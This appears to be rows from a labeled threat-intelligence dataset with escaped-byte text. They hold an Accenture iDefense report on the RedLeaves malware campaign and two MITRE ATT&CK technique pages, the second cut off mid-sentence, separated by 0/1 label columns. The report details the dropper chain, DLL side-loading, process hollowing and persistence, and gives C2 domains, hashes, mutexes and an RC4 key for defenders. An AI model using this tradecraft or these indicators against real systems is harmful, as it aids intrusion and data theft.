2018\xe5\xb9\xb4\xe5\xba\xa6\xef\xbc\x88\xe5\xb9\xb3\xe6\x88\x9030\xe5\xb9\xb4\xe5\xba\xa6\xef\xbc\x89\xe7\xa8\x8e\xe5\x88\xb6\xe6\x94\xb9\xe6\xad\xa3\xe3\x81\xab\xe3\x81\xa4\xe3\x81\x84\xe3\x81\xa6.doc \xe2\x80\xa2 MD5: 797b450509e9cad63d30cd596ac8b608 \xe2\x80\xa2 File Size: 664.2 KB (680,095 bytes) \xe2\x80\xa2 Author: Windows \xe3\x83\xa6\xe3\x83\xbc\xe3\x82\xb6\xe3\x83\xbc (Windows user) \xe2\x80\xa2 Last Modified by: Windows \xe3\x83\xa6\xe3\x83\xbc\xe3\x82\xb6\xe3\x83\xbc (Windows user) \xe2\x80\xa2 Creation Time Stamp: 2018-01-09 03:56:00 (Jan. 9, 2018, 3:56 a.m.) \xe2\x80\xa2 Modified Time Stamp: 2018-01-09 04:25:00 (Jan. 9, 2018, 4:25 a.m.) After the document is opened, the victim is presented with a message from Office 365 to asking the victim to \xe2\x80\x9cEnable content\xe2\x80\x9d (see Exhibit 1). On the next page, however, iDefense identified what appears to be a base64-encoded string. Exhibit 1: Dropper Document The macro shown in Exhibit 2 will then perform the following sequence of actions: \xe2\x80\xa2 Drop the embedded base64-encoded content into a new file, ZsHUvtNctKYbgPj.txt, in the %temp% folder HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 4 \xe2\x80\xa2 Decode this new file by leveraging \xe2\x80\x9ccertutil\xe2\x80\x9d, a legitimate Windows program; the base64 encoded data decodes to a Microsoft Corp. Cabinet file, which is saved as YjhdJ.cab (MD5 hash: 44c7319d8d7b84c52c4a6c94056d246b) \xe2\x80\xa2 Use \xe2\x80\x9cexpand\xe2\x80\x9d, again a legitimate Windows program, to \xe2\x80\x9cexpand\xe2\x80\x9d or decompress file contents (AYRUNSC.exe and PTL.AYM) to the %temp% folder, and consequently delete the earlier created files Exhibit 2: VBA Macro As mentioned earlier, this malware creates two new binaries: AYRUNSC.exe and PTL.AYM. AYRUNSC.exe is a legitimate and digitally signed binary created by ESTsoft Corp. and pertains to ALYac, Korean anti-virus software. PTL.AYM is in fact another binary file; specifically, it is a DLL file with the following properties: \xe2\x80\xa2 Filename: PTL.AYM \xe2\x80\xa2 Internal Filename: ptl.dll \xe2\x80\xa2 MD5: 4f1ffebb45b30dd3496caaf1fa9c77e3 \xe2\x80\xa2 File Size: 440.0 KB (450,560 bytes) \xe2\x80\xa2 Compiled Time Stamp: 2018-01-08 02:15:02 (Jan. 8, 2018, 2:15 a.m.) The compiled time stamp, assuming it is not altered, suggests the actor developed the implant 2 days before launching the described campaign. This DLL is a clone of a legitimate DLL, also by ALYac, and corresponds to the anti-virus software\xe2\x80\x99s Utility Module. However, rather than the original DLL, it only has two imports as the authors have implemented a simple, single-byte XOR obfuscation (using key 0x40) to obfuscate other imports and strings. For example, XOR decoding the binary reveals the following two interesting strings: \xe2\x80\xa2 %ProgramFiles%\\Internet Explorer\\iexplore.exe \xe2\x80\xa2 \\GppiTEMms.lnk HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 5 As opposed to the original DLL by ALYac, which typically has 15 exports, the analyzed sample has the following 20 exports: \xe2\x80\xa2 ChangeScriptName \xe2\x80\xa2 FreeList \xe2\x80\xa2 GetFileName \xe2\x80\xa2 GetFilePath \xe2\x80\xa2 GetFilePath2 \xe2\x80\xa2 GetFilePathNew \xe2\x80\xa2 GetFilePathNew2 \xe2\x80\xa2 GetFolderPath \xe2\x80\xa2 GetFolderPath2 \xe2\x80\xa2 GetFolderPathNew \xe2\x80\xa2 GetFolderPathNew2 \xe2\x80\xa2 GetPathVariable \xe2\x80\xa2 GetPathVariableList \xe2\x80\xa2 GetSIDList \xe2\x80\xa2 Initialize \xe2\x80\xa2 Initialize_IjDEJK \xe2\x80\xa2 Lock \xe2\x80\xa2 NbhgHUxiGf \xe2\x80\xa2 UnInitialize \xe2\x80\xa2 rGBKikBeJObSwSjY Three exported functions clearly stood out: Initialize_IjDEJK, NbhgHUxiGf, and rGBKikBeJObSwSjY. These are, however, all dummy exports to throw off analysts or perhaps even taunt researchers, and more specifically perhaps to taunt the Japan Computer Emergency Response Team Coordination Center (JPCERT/CC). For example, when executing the DLL file by calling the NbhgHUxiGf export function, the victim would be prompted with a Windows message box with ""jpcert-1\xe2\x80\x9d, as can be shown in Exhibit 3 and 4. Exhibit 3: Windows message box creation HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 6 Exhibit 4: Windows message box with the message \xe2\x80\x9cjpcert-1\xe2\x80\x9d All other functions are either empty or also filled with calls to MessageBoxA(), which is unusual for DLL loading implants. However, one export function, GetFolderPathNew2, is responsible for loading the RedLeaves DLL implant by performing process hollowing in iexplore.exe, Microsoft Corp.\xe2\x80\x99s default browser. The initial process, AYRUNSC.exe, is unable to work correctly and will therefore exit. For persistence, RedLeaves will add a shortcut \xe2\x80\x9c.lnk\xe2\x80\x9d file in the user\xe2\x80\x99s Startup folder, which points to `AYRUNSC.exe\xe2\x80\x99, as shown in Exhibit 5. HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 7 Exhibit 5: GppiTEMms.lnk in Startup Folder Once running, the RedLeaves implant will then attempt to communicate with the following C2 domains, using HTTP, but connects to the C2 server on port 443: \xe2\x80\xa2 firefoxcomt.arkouowi[.]com \xe2\x80\xa2 update.arkouowi[.]com The configuration settings for the RedLeaves implant can be extracted from memory and contains the following information: \xe2\x80\xa2 Campaign ID: 2018-1-8-NewBattle \xe2\x80\xa2 Mutex: jH10689DS \xe2\x80\xa2 Key: babybear The string \xe2\x80\x9c2018-1-8-NewBattle\xe2\x80\x9d refers to the campaign ID set up by the actor and may allude the actor starting a \xe2\x80\x9cnew battle\xe2\x80\x9d (campaigns). The malware will create a unique version of the aforementioned mutex on the victim machine in order to avoid running the implant twice. HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 8 As mentioned before, RedLeaves will attempt to communicate over HTTP, using POST requests with a hardcoded User-Agent: POST /M6Xz5MOS/index.php HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E) Network traffic is encrypted with RC4 using the key \xe2\x80\x9cbabybear\xe2\x80\x9d. The RedLeaves implant has at least the following abilities: \xe2\x80\xa2 Take screenshots \xe2\x80\xa2 Gather browser usernames and passwords \xe2\x80\xa2 Gather extended system information \xe2\x80\xa2 Send, receive, and execute commands from the C2 server Further analysis also reveals that the RedLeaves implant described corresponds to the actor\xe2\x80\x99s \xe2\x80\x9cLavender\xe2\x80\x9d version of the malware family. For example, the strings \xe2\x80\x9cLAVENDERX\xe2\x80\x9d and \xe2\x80\x9cLAVENDERengin\xe2\x80\x9d (which are dynamically built on the stack) are used to determine the implant\xe2\x80\x99s version. HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 9 OTHER REDLEAVES IMPLANTS iDefense analysts also identified the RedLeaves samples with the following attributes: ed65bbe9498d3fb1e4d4ac0058590d88 \xe2\x80\xa2 Internal Filename: libcef.dll \xe2\x80\xa2 Starts in Function: cef_string_utf8_to_utf16 \xe2\x80\xa2 Compiled Time Stamp: 2018-01-18 04:38:12 (Jan. 18, 2108, 4:38 a.m.) \xe2\x80\xa2 Startup Item/Shortcut: BnorTEPkh.lnk \xe2\x80\xa2 C2 Server: algorithm.ddnsgeek[.]com \xe2\x80\xa2 Campaign ID: 2018-1-18-sgowen \xe2\x80\xa2 Mutex: rV6880B9 \xe2\x80\xa2 Key: babybear e2627a887898b641db720531258fd133 \xe2\x80\xa2 Internal Filename: libcef.dll \xe2\x80\xa2 Starts in Function: cef_initialize \xe2\x80\xa2 Compiled Time Stamp: 2018-01-29 09:36:41 (Jan. 29, 2018, 9:36 a.m.) \xe2\x80\xa2 Startup Item/Shortcut: EaahLDRej.lnk \xe2\x80\xa2 C2 Server: friendlysupport.giize[.]com \xe2\x80\xa2 Campaign ID: 2018-1-29-No.1 \xe2\x80\xa2 Mutex: 2N6541mb \xe2\x80\xa2 Key: moscowww The above sample, ed65bbe9498d3fb1e4d4ac0058590d88, also displays similar taunting messages (see Exhibit 6 and 7): HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 10 Exhibit 6: Message box with a taunting message Exhibit 7: Message box with another taunting message C2 INFRASTRUCTURE C2 infrastructure enumeration reveals overlap between the three samples that iDefense analyzed, as Exhibit 8 illustrates. HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 11 Exhibit 8: Maltego Graph Showing Campaigns Overlap MITIGATION To effectively defend against the threats described in this report, iDefense recommends blocking access to the following C2 domains and IP addresses: \xe2\x80\xa2 firefoxcomt.arkouowi[.]com \xe2\x80\xa2 update.arkouowi[.]com \xe2\x80\xa2 friendlysupport.giize[.]com \xe2\x80\xa2 algorithm.ddnsgeek[.]com \xe2\x80\xa2 149.36.63[.]65 \xe2\x80\xa2 83.136.106[.]108 HOGFISH REDLEAVES CAMPAIGN Copyright \xc2\xa9 2018 Accenture Security. All rights reserved. 12 Hashes (SHA-256): d956e2ff1b22ccee2c5d9819128103d4c31ecefde3ce463a6dea19ecaaf418a1 5504e04083d6146a67cb0d671d8ad5885315062c9ee08a62e40e264c2d5eab91 f6449e255bc1a9d4a02391be35d0dd37def19b7e20cfcc274427a0b39cb21b7b db7c1534dede15be08e651784d3a5d2ae41963d192b0f8776701b4b72240c38d Related hashes (SHA-256): f9acc706d7bec10f88f9cfbbdf80df0d85331bd4c3c0188e4d002d6929fe4eac e28294f62178451c7b11988d2c790f7f44c81b0bf06ab252e60f6b9ca57cacec 36db2c5f8bb947cad25a4abeaff1ff0e827bd7fcf9c77dbfb36247e3fc9f530a 4de5a22cd798950a69318fdcc1ec59e9a456b4e572c2d3ac4788ee96a4070262 7188f76ca5fbc6e57d23ba97655b293d5356933e2ab5261e423b3f205fe305ee 388d6b38f21c79e0e2ad7ead1108025b8bb3486d8d29f2468b5cb0e54bff11d2 37333ecdd16b1ecbcd070b202492c1870dafd799f6299a420cdcc8a9e149cc93 For threat hunting, it is also useful to examine the content of the following folders and look out for anomalous data: \xe2\x80\xa2 %temp%\\AYRUNSC.exe \xe2\x80\xa2 %temp%\\PTL.AYM \xe2\x80\xa2 %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\GppiTEMms.lnk \xe2\x80\xa2 %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\EaahLDRej.lnk \xe2\x80\xa2 %appdata%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\BnorTEPkh.lnk \xe2\x80\xa2 A mutex named jH10689DS, 2N6541mb, or rV6880B9. CONTACT US Joshua Ray joshua.a.ray@accenture.com Bart Parys bart.parys@accenture.com mailto:joshua.a.ray@accenture.com mailto:bart.parys@accenture.com ABOUT ACCENTURE Accenture is a leading global professional services company, providing a broad range of services and solutions in strategy, consulting, digital, technology and operations. Combining unmatched experience and specialized skills across more than 40 industries and all business functions\xe2\x80\x94 underpinned by the world\xe2\x80\x99s largest delivery network\xe2\x80\x94Accenture works at the intersection of business and technology to help clients improve their performance and create sustainable value for their stakeholders. With approximately 425,000 people serving clients in more than 120 countries, Accenture drives innovation to improve the way the world works and lives. Visit us at www.accenture.com ABOUT ACCENTURE SECURITY Accenture Security helps organizations build resilience from the inside out, so they can confidently focus on innovation and growth. Leveraging its global network of cybersecurity labs, deep industry understanding across client value chains and services that span the security lifecycle, Accenture protects organization\xe2\x80\x99s valuable assets, end-to-end. With services that include strategy and risk management, cyber defense, digital identity, application security and managed security, Accenture enables businesses around the world to defend against known sophisticated threats, and the unknown. Follow us @AccentureSecure on Twitter or visit the Accenture Security blog. LEGAL NOTICE & DISCLAIMER: Given the inherent nature of threat intelligence, the content contained in this alert is based on information gathered and understood at the time of its creation. It is subject to change. ACCENTURE PROVIDES THE INFORMATION ON AN \xe2\x80\x9cAS-IS\xe2\x80\x9d BASIS WITHOUT REPRESENTATION OR WARRANTY AND ACCEPTS NO LIABILITY FOR ANY ACTION OR FAILURE TO ACT TAKEN IN RESPONSE TO THE INFORMATION CONTAINED OR REFERENCED IN THIS ALERT. \xc2\xa9 2018 Accenture. All rights reserved. Accenture, the Accenture logo, iDefense and other trademarks, service marks, and designs are registered or unregistered trademarks of Accenture and its subsidiaries in the United States and in foreign countries. All trademarks are properties of their respective owners. All materials are intended for the original recipient only. The reproduction and distribution of this material is forbidden without express written permission from iDefense. The opinions, statements, and assessments in this report are solely those of the individual author(s) and do not constitute legal advice, nor do they necessarily reflect the views of Accenture, its subsidiaries, or affiliates. http://www.accenture.com/","1","1","0","1","0","0","1","0","1","1","1","0","0","0","0","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0" -"Scheduled Transfer - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Scheduled Transfer Scheduled Transfer Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability. When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol. ID:\xc2 T1029 Tactic: Exfiltration Platform:\xc2 Linux, macOS, Windows Data Sources:\xc2 Netflow/Enclave netflow, Process use of network, Process monitoring Requires Network:\xc2 Yes Version:\xc2 1.0 Mitigations Mitigation Description Network Intrusion Prevention Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. [1] Examples Name Description ADVSTORESHELL ADVSTORESHELL collects, compresses, encrypts, and exfiltrates data to the C2 server every 10 minutes. [5] Cobalt Strike Cobalt Strike can set its ""beacon"" payload to reach out to the C2 server on an arbitrary and random interval. In addition it will break large data sets into smaller chunks for exfiltration. [2] Dipsind Dipsind can be configured to only run during normal working hours, which would make its communications harder to distinguish from normal traffic. [6] jRAT jRAT can be configured to reconnect at certain intervals. [8] Kazuar Kazuar can sleep for a specific time and be set to communicate at specific intervals. [4] LightNeuron LightNeuron can be configured to exfiltrate data during nighttime or working hours. [9] Linfo Linfo creates a backdoor through which remote attackers can change the frequency at which compromised hosts contact remote C2 infrastructure. [3] POWERSTATS POWERSTATS can sleep for a given number of seconds. [7] Detection Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious. References Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017. Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018. Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018. ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016. Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018. Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018. Kamluk, V. & Gostev, A. (2016, February). Adwind - A Cross-Platform RAT. Retrieved April 23, 2019. Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019. Copyright \xc2\xa9 2015-2019, The MITRE Corporation. MITRE ATT&CK and ATT&CK are trademarks of The MITRE Corporation. Privacy Policy Terms of Use @MITREattack Contact","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Winlogon Helper DLL - Enterprise | MITRE ATT&CK\xe2\x84\xa2 Matrices Tactics PRE-ATT&CK Enterprise Mobile Techniques PRE-ATT&CK Enterprise Mobile Mitigations Enterprise Mobile Groups Software Resources General Information Getting Started ATT&CKcon Working with ATT&CK FAQ Updates Previous Versions Related Projects Blog\xc2 Contribute Register to stream ATT&CKcon 2.0 October 29-30 ENTERPRISE ENTERPRISE MOBILE PRE-ATT&CK TECHNIQUES All Initial Access Drive-by Compromise Exploit Public-Facing Application External Remote Services Hardware Additions Replication Through Removable Media Spearphishing Attachment Spearphishing Link Spearphishing via Service Supply Chain Compromise Trusted Relationship Valid Accounts Execution AppleScript CMSTP Command-Line Interface Compiled HTML File Control Panel Items Dynamic Data Exchange Execution through API Execution through Module Load Exploitation for Client Execution Graphical User Interface InstallUtil Launchctl Local Job Scheduling LSASS Driver Mshta PowerShell Regsvcs/Regasm Regsvr32 Rundll32 Scheduled Task Scripting Service Execution Signed Binary Proxy Execution Signed Script Proxy Execution Source Space after Filename Third-party Software Trap Trusted Developer Utilities User Execution Windows Management Instrumentation Windows Remote Management XSL Script Processing Persistence .bash_profile and .bashrc Accessibility Features Account Manipulation AppCert DLLs AppInit DLLs Application Shimming Authentication Package BITS Jobs Bootkit Browser Extensions Change Default File Association Component Firmware Component Object Model Hijacking Create Account DLL Search Order Hijacking Dylib Hijacking External Remote Services File System Permissions Weakness Hidden Files and Directories Hooking Hypervisor Image File Execution Options Injection Kernel Modules and Extensions Launch Agent Launch Daemon Launchctl LC_LOAD_DYLIB Addition Local Job Scheduling Login Item Logon Scripts LSASS Driver Modify Existing Service Netsh Helper DLL New Service Office Application Startup Path Interception Plist Modification Port Knocking Port Monitors Rc.common Re-opened Applications Redundant Access Registry Run Keys / Startup Folder Scheduled Task Screensaver Security Support Provider Service Registry Permissions Weakness Setuid and Setgid Shortcut Modification SIP and Trust Provider Hijacking Startup Items System Firmware Systemd Service Time Providers Trap Valid Accounts Web Shell Windows Management Instrumentation Event Subscription Winlogon Helper DLL Privilege Escalation Access Token Manipulation Accessibility Features AppCert DLLs AppInit DLLs Application Shimming Bypass User Account Control DLL Search Order Hijacking Dylib Hijacking Exploitation for Privilege Escalation Extra Window Memory Injection File System Permissions Weakness Hooking Image File Execution Options Injection Launch Daemon New Service Path Interception Plist Modification Port Monitors Process Injection Scheduled Task Service Registry Permissions Weakness Setuid and Setgid SID-History Injection Startup Items Sudo Sudo Caching Valid Accounts Web Shell Defense Evasion Access Token Manipulation Binary Padding BITS Jobs Bypass User Account Control Clear Command History CMSTP Code Signing Compile After Delivery Compiled HTML File Component Firmware Component Object Model Hijacking Control Panel Items DCShadow Deobfuscate/Decode Files or Information Disabling Security Tools DLL Search Order Hijacking DLL Side-Loading Execution Guardrails Exploitation for Defense Evasion Extra Window Memory Injection File Deletion File Permissions Modification File System Logical Offsets Gatekeeper Bypass Group Policy Modification Hidden Files and Directories Hidden Users Hidden Window HISTCONTROL Image File Execution Options Injection Indicator Blocking Indicator Removal from Tools Indicator Removal on Host Indirect Command Execution Install Root Certificate InstallUtil Launchctl LC_MAIN Hijacking Masquerading Modify Registry Mshta Network Share Connection Removal NTFS File Attributes Obfuscated Files or Information Plist Modification Port Knocking Process Doppelg\xc3\xa4nging Process Hollowing Process Injection Redundant Access Regsvcs/Regasm Regsvr32 Rootkit Rundll32 Scripting Signed Binary Proxy Execution Signed Script Proxy Execution SIP and Trust Provider Hijacking Software Packing Space after Filename Template Injection Timestomp Trusted Developer Utilities Valid Accounts Virtualization/Sandbox Evasion Web Service XSL Script Processing Credential Access Account Manipulation Bash History Brute Force Credential Dumping Credentials in Files Credentials in Registry Exploitation for Credential Access Forced Authentication Hooking Input Capture Input Prompt Kerberoasting Keychain LLMNR/NBT-NS Poisoning and Relay Network Sniffing Password Filter DLL Private Keys Securityd Memory Two-Factor Authentication Interception Discovery Account Discovery Application Window Discovery Browser Bookmark Discovery Domain Trust Discovery File and Directory Discovery Network Service Scanning Network Share Discovery Network Sniffing Password Policy Discovery Peripheral Device Discovery Permission Groups Discovery Process Discovery Query Registry Remote System Discovery Security Software Discovery System Information Discovery System Network Configuration Discovery System Network Connections Discovery System Owner/User Discovery System Service Discovery System Time Discovery Virtualization/Sandbox Evasion Lateral Movement AppleScript Application Deployment Software Distributed Component Object Model Exploitation of Remote Services Logon Scripts Pass the Hash Pass the Ticket Remote Desktop Protocol Remote File Copy Remote Services Replication Through Removable Media Shared Webroot SSH Hijacking Taint Shared Content Third-party Software Windows Admin Shares Windows Remote Management Collection Audio Capture Automated Collection Clipboard Data Data from Information Repositories Data from Local System Data from Network Shared Drive Data from Removable Media Data Staged Email Collection Input Capture Man in the Browser Screen Capture Video Capture Command and Control Commonly Used Port Communication Through Removable Media Connection Proxy Custom Command and Control Protocol Custom Cryptographic Protocol Data Encoding Data Obfuscation Domain Fronting Domain Generation Algorithms Fallback Channels Multi-hop Proxy Multi-Stage Channels Multiband Communication Multilayer Encryption Port Knocking Remote Access Tools Remote File Copy Standard Application Layer Protocol Standard Cryptographic Protocol Standard Non-Application Layer Protocol Uncommonly Used Port Web Service Exfiltration Automated Exfiltration Data Compressed Data Encrypted Data Transfer Size Limits Exfiltration Over Alternative Protocol Exfiltration Over Command and Control Channel Exfiltration Over Other Network Medium Exfiltration Over Physical Medium Scheduled Transfer Impact Data Destruction Data Encrypted for Impact Defacement Disk Content Wipe Disk Structure Wipe Endpoint Denial of Service Firmware Corruption Inhibit System Recovery Network Denial of Service Resource Hijacking Runtime Data Manipulation Service Stop Stored Data Manipulation Transmitted Data Manipulation Home Techniques Enterprise Winlogon Helper DLL Winlogon Helper DLL Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. [1] Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: [1] Winlogon\\Notify - points to notification package DLLs that handle Winlogon events Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a 